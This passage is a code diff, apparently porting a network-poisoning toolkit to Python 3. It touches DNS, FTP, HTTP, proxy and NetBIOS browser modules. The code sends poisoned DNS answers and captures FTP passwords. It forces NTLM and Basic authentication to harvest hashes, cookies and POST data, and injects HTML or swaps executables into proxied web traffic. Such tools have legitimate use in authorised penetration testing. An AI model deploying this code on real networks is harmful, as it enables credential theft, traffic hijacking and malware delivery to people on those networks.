Packet = str(Header)+str(Body)
|
Packet = str(Header)+str(Body)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||||
|
|
||||||
s.send(Buffer)
|
s.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
data = s.recv(64736)
|
data = s.recv(64736)
|
||||||
|
|
||||||
# Rap ServerEnum, Get answer and return what we're looking for.
|
# Rap ServerEnum, Get answer and return what we're looking for.
|
||||||
if data[8:10] == "\x25\x00":
|
if data[8:10] == b'\x25\x00':
|
||||||
s.close()
|
s.close()
|
||||||
return ParsePacket(data)
|
return ParsePacket(data)
|
||||||
except:
|
except:
|
||||||
|
@ -162,8 +165,10 @@ def BecomeBackup(data,Client):
|
||||||
Role = NBT_NS_Role(data[45:48])
|
Role = NBT_NS_Role(data[45:48])
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))
|
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)))
|
||||||
print RAPThisDomain(Client, Domain)
|
RAPInfo = RAPThisDomain(Client, Domain)
|
||||||
|
if RAPInfo is not None:
|
||||||
|
print(RAPInfo)
|
||||||
|
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
@ -177,8 +182,10 @@ def ParseDatagramNBTNames(data,Client):
|
||||||
|
|
||||||
|
|
||||||
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
|
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
|
||||||
print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))
|
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)))
|
||||||
print RAPThisDomain(Client, Domain)
|
RAPInfo = RAPThisDomain(Client, Domain)
|
||||||
|
if RAPInfo is not None:
|
||||||
|
print(RAPInfo)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
@ -189,7 +196,7 @@ class Browser(BaseRequestHandler):
|
||||||
request, socket = self.request
|
request, socket = self.request
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
ParseDatagramNBTNames(request,self.client_address[0])
|
ParseDatagramNBTNames(NetworkRecvBufferPython2or3(request),self.client_address[0])
|
||||||
BecomeBackup(request,self.client_address[0])
|
BecomeBackup(request,self.client_address[0])
|
||||||
BecomeBackup(request,self.client_address[0])
|
BecomeBackup(request,self.client_address[0])
|
||||||
|
|
||||||
|
|
|
@ -14,9 +14,12 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
from packets import DNS_Ans
|
|
||||||
from SocketServer import BaseRequestHandler
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
from packets import DNS_Ans
|
||||||
|
if settings.Config.PY2OR3 is "PY3":
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
|
from SocketServer import BaseRequestHandler
|
||||||
|
|
||||||
def ParseDNSType(data):
|
def ParseDNSType(data):
|
||||||
QueryTypeClass = data[len(data)-4:]
|
QueryTypeClass = data[len(data)-4:]
|
||||||
|
@ -34,14 +37,12 @@ class DNS(BaseRequestHandler):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
data, soc = self.request
|
data, soc = self.request
|
||||||
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode == False:
|
||||||
if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
|
|
||||||
buff = DNS_Ans()
|
buff = DNS_Ans()
|
||||||
buff.calculate(data)
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
soc.sendto(str(buff), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
print(color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
|
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
@ -55,14 +56,12 @@ class DNSTCP(BaseRequestHandler):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode is False:
|
||||||
if ParseDNSType(data) and settings.Config.AnalyzeMode is False:
|
|
||||||
buff = DNS_Ans()
|
buff = DNS_Ans()
|
||||||
buff.calculate(data)
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
self.request.send(str(buff))
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
|
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
|
print(color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -15,27 +15,31 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
from utils import *
|
from utils import *
|
||||||
|
if settings.Config.PY2OR3 is "PY3":
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
|
|
||||||
from packets import FTPPacket
|
from packets import FTPPacket
|
||||||
|
|
||||||
class FTP(BaseRequestHandler):
|
class FTP(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
self.request.send(str(FTPPacket()))
|
self.request.send(NetworkSendBufferPython2or3(FTPPacket()))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data[0:4] == "USER":
|
if data[0:4] == b'USER':
|
||||||
User = data[5:].strip()
|
User = data[5:].strip().decode("latin-1")
|
||||||
|
|
||||||
Packet = FTPPacket(Code="331",Message="User name okay, need password.")
|
Packet = FTPPacket(Code="331",Message="User name okay, need password.")
|
||||||
self.request.send(str(Packet))
|
self.request.send(NetworkSendBufferPython2or3(Packet))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data[0:4] == "PASS":
|
if data[0:4] == b'PASS':
|
||||||
Pass = data[5:].strip()
|
Pass = data[5:].strip().decode("latin-1")
|
||||||
|
|
||||||
Packet = FTPPacket(Code="530",Message="User not logged in.")
|
Packet = FTPPacket(Code="530",Message="User not logged in.")
|
||||||
self.request.send(str(Packet))
|
self.request.send(NetworkSendBufferPython2or3(Packet))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
|
@ -49,7 +53,7 @@ class FTP(BaseRequestHandler):
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Packet = FTPPacket(Code="502",Message="Command not implemented.")
|
Packet = FTPPacket(Code="502",Message="Command not implemented.")
|
||||||
self.request.send(str(Packet))
|
self.request.send(NetworkSendBufferPython2or3(Packet))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
|
|
|
@ -15,10 +15,13 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import struct
|
import struct
|
||||||
from SocketServer import BaseRequestHandler, StreamRequestHandler
|
import codecs
|
||||||
from base64 import b64decode
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
if settings.Config.PY2OR3 is "PY3":
|
||||||
|
from socketserver import BaseRequestHandler, StreamRequestHandler
|
||||||
|
else:
|
||||||
|
from SocketServer import BaseRequestHandler, StreamRequestHandler
|
||||||
|
from base64 import b64decode, b64encode
|
||||||
from packets import NTLM_Challenge
|
from packets import NTLM_Challenge
|
||||||
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer
|
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer
|
||||||
from packets import WPADScript, ServeExeFile, ServeHtmlFile
|
from packets import WPADScript, ServeExeFile, ServeHtmlFile
|
||||||
|
@ -28,28 +31,29 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile
|
||||||
def ParseHTTPHash(data, Challenge, client, module):
|
def ParseHTTPHash(data, Challenge, client, module):
|
||||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen]
|
||||||
|
LMHashFinal = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||||
|
|
||||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||||
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
NTHash = data[NthashOffset:NthashOffset+NthashLen]
|
||||||
|
NTHashFinal = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
|
||||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
User = data[UserOffset:UserOffset+UserLen].decode('latin-1').replace('\x00','')
|
||||||
|
Challenge1 = codecs.encode(Challenge,'hex').decode('latin-1')
|
||||||
if NthashLen == 24:
|
if NthashLen == 24:
|
||||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, Challenge.encode('hex'))
|
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHashFinal, NTHashFinal, Challenge1)
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': module,
|
'module': module,
|
||||||
'type': 'NTLMv1',
|
'type': 'NTLMv1',
|
||||||
'client': client,
|
'client': client,
|
||||||
'host': HostName,
|
'host': HostName,
|
||||||
'user': User,
|
'user': User,
|
||||||
'hash': LMHash+":"+NTHash,
|
'hash': LMHashFinal+':'+NTHashFinal,
|
||||||
'fullhash': WriteHash,
|
'fullhash': WriteHash,
|
||||||
})
|
})
|
||||||
|
|
||||||
|
@ -57,19 +61,18 @@ def ParseHTTPHash(data, Challenge, client, module):
|
||||||
NthashLen = 64
|
NthashLen = 64
|
||||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||||
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
Domain = data[DomainOffset:DomainOffset+DomainLen].decode('latin-1').replace('\x00','')
|
||||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
|
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge1, NTHashFinal[:32], NTHashFinal[32:])
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': module,
|
'module': module,
|
||||||
'type': 'NTLMv2',
|
'type': 'NTLMv2',
|
||||||
'client': client,
|
'client': client,
|
||||||
'host': HostName,
|
'host': HostName,
|
||||||
'user': Domain + '\\' + User,
|
'user': Domain + '\\' + User,
|
||||||
'hash': NTHash[:32] + ":" + NTHash[32:],
|
'hash': NTHashFinal[:32] + ':' + NTHashFinal[32:],
|
||||||
'fullhash': WriteHash,
|
'fullhash': WriteHash,
|
||||||
})
|
})
|
||||||
|
|
||||||
|
@ -79,7 +82,7 @@ def GrabCookie(data, host):
|
||||||
if Cookie:
|
if Cookie:
|
||||||
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
||||||
if len(Cookie) > 1 and settings.Config.Verbose:
|
if len(Cookie) > 1 and settings.Config.Verbose:
|
||||||
print text("[HTTP] Cookie : %s " % Cookie)
|
print(text("[HTTP] Cookie : %s " % Cookie))
|
||||||
return Cookie
|
return Cookie
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -89,7 +92,7 @@ def GrabHost(data, host):
|
||||||
if Host:
|
if Host:
|
||||||
Host = Host.group(0).replace('Host: ', '')
|
Host = Host.group(0).replace('Host: ', '')
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] Host : %s " % color(Host, 3))
|
print(text("[HTTP] Host : %s " % color(Host, 3)))
|
||||||
return Host
|
return Host
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -99,18 +102,18 @@ def GrabReferer(data, host):
|
||||||
if Referer:
|
if Referer:
|
||||||
Referer = Referer.group(0).replace('Referer: ', '')
|
Referer = Referer.group(0).replace('Referer: ', '')
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] Referer : %s " % color(Referer, 3))
|
print(text("[HTTP] Referer : %s " % color(Referer, 3)))
|
||||||
return Referer
|
return Referer
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def SpotFirefox(data):
|
def SpotFirefox(data):
|
||||||
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
|
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
|
||||||
if UserAgent:
|
if UserAgent:
|
||||||
print text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2))
|
print(text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)))
|
||||||
IsFirefox = re.search('Firefox', UserAgent[0])
|
IsFirefox = re.search('Firefox', UserAgent[0])
|
||||||
if IsFirefox:
|
if IsFirefox:
|
||||||
print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1)
|
print(color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1))
|
||||||
print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1)
|
print(color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1))
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
@ -155,7 +158,7 @@ def RespondWithFile(client, filename, dlname=None):
|
||||||
Buffer = ServeHtmlFile(Payload = ServeFile(filename))
|
Buffer = ServeHtmlFile(Payload = ServeFile(filename))
|
||||||
|
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
print text("[HTTP] Sending file %s to %s" % (filename, client))
|
print(text("[HTTP] Sending file %s to %s" % (filename, client)))
|
||||||
return str(Buffer)
|
return str(Buffer)
|
||||||
|
|
||||||
def GrabURL(data, host):
|
def GrabURL(data, host):
|
||||||
|
@ -164,13 +167,13 @@ def GrabURL(data, host):
|
||||||
POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data)
|
POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data)
|
||||||
|
|
||||||
if GET and settings.Config.Verbose:
|
if GET and settings.Config.Verbose:
|
||||||
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
|
print(text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))))
|
||||||
|
|
||||||
if POST and settings.Config.Verbose:
|
if POST and settings.Config.Verbose:
|
||||||
print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5)))
|
print(text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))))
|
||||||
|
|
||||||
if len(''.join(POSTDATA)) > 2:
|
if len(''.join(POSTDATA)) > 2:
|
||||||
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
|
print(text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()))
|
||||||
|
|
||||||
# Handle HTTP packet sequence.
|
# Handle HTTP packet sequence.
|
||||||
def PacketSequence(data, client, Challenge):
|
def PacketSequence(data, client, Challenge):
|
||||||
|
@ -192,20 +195,20 @@ def PacketSequence(data, client, Challenge):
|
||||||
|
|
||||||
if NTLM_Auth:
|
if NTLM_Auth:
|
||||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||||
if Packet_NTLM == "\x01":
|
if Packet_NTLM == b'\x01':
|
||||||
GrabURL(data, client)
|
GrabURL(data, client)
|
||||||
GrabReferer(data, client)
|
GrabReferer(data, client)
|
||||||
GrabHost(data, client)
|
GrabHost(data, client)
|
||||||
GrabCookie(data, client)
|
GrabCookie(data, client)
|
||||||
|
|
||||||
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
|
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
|
|
||||||
Buffer_Ans = IIS_NTLM_Challenge_Ans()
|
Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||||
Buffer_Ans.calculate(str(Buffer))
|
#Buffer_Ans.calculate(Buffer)
|
||||||
return str(Buffer_Ans)
|
return Buffer_Ans
|
||||||
|
|
||||||
if Packet_NTLM == "\x03":
|
if Packet_NTLM == b'\x03':
|
||||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||||
if IsWebDAV(data):
|
if IsWebDAV(data):
|
||||||
module = "WebDAV"
|
module = "WebDAV"
|
||||||
|
@ -214,13 +217,13 @@ def PacketSequence(data, client, Challenge):
|
||||||
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
|
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
|
||||||
|
|
||||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
|
||||||
|
|
||||||
return WPAD_Custom
|
return WPAD_Custom
|
||||||
else:
|
else:
|
||||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
return str(Buffer)
|
return NetworkSendBufferPython2or3(Buffer)
|
||||||
|
|
||||||
elif Basic_Auth:
|
elif Basic_Auth:
|
||||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||||
|
@ -234,31 +237,31 @@ def PacketSequence(data, client, Challenge):
|
||||||
'module': 'HTTP',
|
'module': 'HTTP',
|
||||||
'type': 'Basic',
|
'type': 'Basic',
|
||||||
'client': client,
|
'client': client,
|
||||||
'user': ClearText_Auth.split(':')[0],
|
'user': ClearText_Auth.decode('latin-1').split(':')[0],
|
||||||
'cleartext': ClearText_Auth.split(':')[1],
|
'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
|
||||||
})
|
})
|
||||||
|
|
||||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
|
||||||
|
|
||||||
return WPAD_Custom
|
return WPAD_Custom
|
||||||
else:
|
else:
|
||||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
return str(Buffer)
|
return NetworkSendBufferPython2or3(Buffer)
|
||||||
else:
|
else:
|
||||||
if settings.Config.Basic:
|
if settings.Config.Basic:
|
||||||
Response = IIS_Basic_401_Ans()
|
Response = IIS_Basic_401_Ans()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] Sending BASIC authentication request to %s" % client)
|
print(text("[HTTP] Sending BASIC authentication request to %s" % client))
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Response = IIS_Auth_401_Ans()
|
Response = IIS_Auth_401_Ans()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] Sending NTLM authentication request to %s" % client)
|
print(text("[HTTP] Sending NTLM authentication request to %s" % client))
|
||||||
|
|
||||||
return str(Response)
|
return Response
|
||||||
|
|
||||||
# HTTP Server class
|
# HTTP Server class
|
||||||
class HTTP(BaseRequestHandler):
|
class HTTP(BaseRequestHandler):
|
||||||
|
@ -266,14 +269,13 @@ class HTTP(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
Challenge = RandomChallenge()
|
Challenge = RandomChallenge()
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
self.request.settimeout(3)
|
self.request.settimeout(3)
|
||||||
remaining = 10*1024*1024 #setting max recieve size
|
remaining = 10*1024*1024 #setting max recieve size
|
||||||
data = ''
|
data = ''
|
||||||
while True:
|
while True:
|
||||||
buff = ''
|
buff = ''
|
||||||
buff = self.request.recv(8092)
|
buff = NetworkRecvBufferPython2or3(self.request.recv(8092))
|
||||||
if buff == '':
|
if buff == '':
|
||||||
break
|
break
|
||||||
data += buff
|
data += buff
|
||||||
|
@ -298,14 +300,14 @@ class HTTP(BaseRequestHandler):
|
||||||
Buffer = WpadCustom(data, self.client_address[0])
|
Buffer = WpadCustom(data, self.client_address[0])
|
||||||
|
|
||||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||||
self.request.send(Buffer)
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
self.request.close()
|
self.request.close()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]))
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
||||||
self.request.send(Buffer)
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
|
|
||||||
except socket.error:
|
except socket.error:
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -14,13 +14,18 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
from utils import *
|
||||||
|
if settings.Config.PY2OR3 is "PY3":
|
||||||
|
import urllib.parse as urlparse
|
||||||
|
import http.server as BaseHTTPServer
|
||||||
|
else:
|
||||||
import urlparse
|
import urlparse
|
||||||
import select
|
|
||||||
import zlib
|
|
||||||
import BaseHTTPServer
|
import BaseHTTPServer
|
||||||
|
|
||||||
|
import select
|
||||||
|
import zlib
|
||||||
from servers.HTTP import RespondWithFile
|
from servers.HTTP import RespondWithFile
|
||||||
from utils import *
|
|
||||||
|
|
||||||
IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ]
|
IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ]
|
||||||
|
|
||||||
|
@ -34,9 +39,9 @@ def InjectData(data, client, req_uri):
|
||||||
if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'):
|
if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'):
|
||||||
return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri))
|
return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri))
|
||||||
|
|
||||||
if len(data.split('\r\n\r\n')) > 1:
|
if len(data.split(b'\r\n\r\n')) > 1:
|
||||||
try:
|
try:
|
||||||
Headers, Content = data.split('\r\n\r\n')
|
Headers, Content = data.split(b'\r\n\r\n')
|
||||||
except:
|
except:
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
@ -44,30 +49,34 @@ def InjectData(data, client, req_uri):
|
||||||
if set(RedirectCodes) & set(Headers):
|
if set(RedirectCodes) & set(Headers):
|
||||||
return data
|
return data
|
||||||
|
|
||||||
if "content-encoding: gzip" in Headers.lower():
|
Len = b''.join(re.findall(b'(?<=Content-Length: )[^\r\n]*', Headers))
|
||||||
|
|
||||||
|
if b'content-encoding: gzip' in Headers.lower():
|
||||||
Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
|
Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
|
||||||
|
|
||||||
if "content-type: text/html" in Headers.lower():
|
if b'content-type: text/html' in Headers.lower():
|
||||||
if settings.Config.Serve_Html: # Serve the custom HTML if needed
|
if settings.Config.Serve_Html: # Serve the custom HTML if needed
|
||||||
return RespondWithFile(client, settings.Config.Html_Filename)
|
return RespondWithFile(client, settings.Config.Html_Filename)
|
||||||
|
|
||||||
Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers))
|
|
||||||
HasBody = re.findall(r'(<body[^>]*>)', Content, re.IGNORECASE)
|
HasBody = re.findall(b'(<body[^>]*>)', Content, re.IGNORECASE)
|
||||||
|
|
||||||
if HasBody and len(settings.Config.HtmlToInject) > 2 and not req_uri.endswith('.js'):
|
if HasBody and len(settings.Config.HtmlToInject) > 2 and not req_uri.endswith('.js'):
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
|
print(text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)))
|
||||||
|
|
||||||
Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject))
|
Content = Content.replace(HasBody[0], b'%s\n%s' % (HasBody[0], settings.Config.HtmlToInject.encode('latin-1')))
|
||||||
|
|
||||||
if "content-encoding: gzip" in Headers.lower():
|
if b'content-encoding: gzip' in Headers.lower():
|
||||||
Content = zlib.compress(Content)
|
Content = zlib.compress(Content)
|
||||||
|
|
||||||
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
|
Headers = Headers.replace(b'Content-Length: '+Len, b'Content-Length: '+ NetworkSendBufferPython2or3(len(Content)))
|
||||||
data = Headers +'\r\n\r\n'+ Content
|
